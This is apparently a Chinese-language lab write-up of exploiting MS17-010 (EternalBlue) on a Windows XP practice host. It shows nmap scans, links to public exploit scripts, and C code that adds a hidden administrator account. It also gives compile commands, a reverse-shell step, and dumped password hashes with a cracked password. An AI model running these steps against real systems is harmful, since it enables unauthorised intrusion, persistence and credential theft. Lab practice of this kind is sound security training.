扫描端口
使用nmap -sV -sC 10.11.1.5 -Pn对其进行扫描
通过扫描发现,应该是SMB相关的漏洞,使用
nmap --script smb-vuln-ms17-010,smb-vuln-ms08-067 --max-retries 5 -p 445 10.11.1.5 进行探测SMB相关漏洞
可以发现存在MS17-010漏洞。
漏洞利用
先确认下目标的操作系统
nmap -sV -p 445 -Pn 10.11.1.5
发现是xp系统,使用https://github.com/totekuh/eternalblue 中的脚本(需要是python2环境,python3会报错)。
这里我创建了一个c文件,功能为添加用户。内容如下:
#include <stdlib.h>
int main ()
{
int i;
// add user
i = system ("net user juncye Jun12CyE /add && net localgroup administrators juncye /add");
return 0;
}
使用kali中的编译工具进行编译和去掉符号
/usr/bin/i686-w64-mingw32-gcc useradd.c -o us.exe
/usr/bin/i686-w64-mingw32-strip us.exe
使用send_and_execute.py 上传exe并执行
发现上面使用的脚本并不会跑到send file地方,所以换了个exploit脚本 https://github.com/helviojunior/MS17-010
这个脚本是有效的
可以反弹shell
获取到了
proof.txt文件 ed20b785808f615be2c588ed925b18ce
参考
附加
获取系统用户和密码信息:
| 用户名 | HASH | 密码 |
| Administrator | a8c8b7a37513b7eb9308952b814b522b | |
| HelpAssistant | 2733cdb0d8a1fec3f976f3b8ad1deeef | |
| SUPPORT_388945a0 | 0f7a50dd4b95cec4c1dea566f820f4e7 | |
| alice | b74242f37e47371aff835a6ebcac4ffe | aliceishere |
在C盘根目录下发现bank-account.zip文件,密码为alice
打开后的内容如下: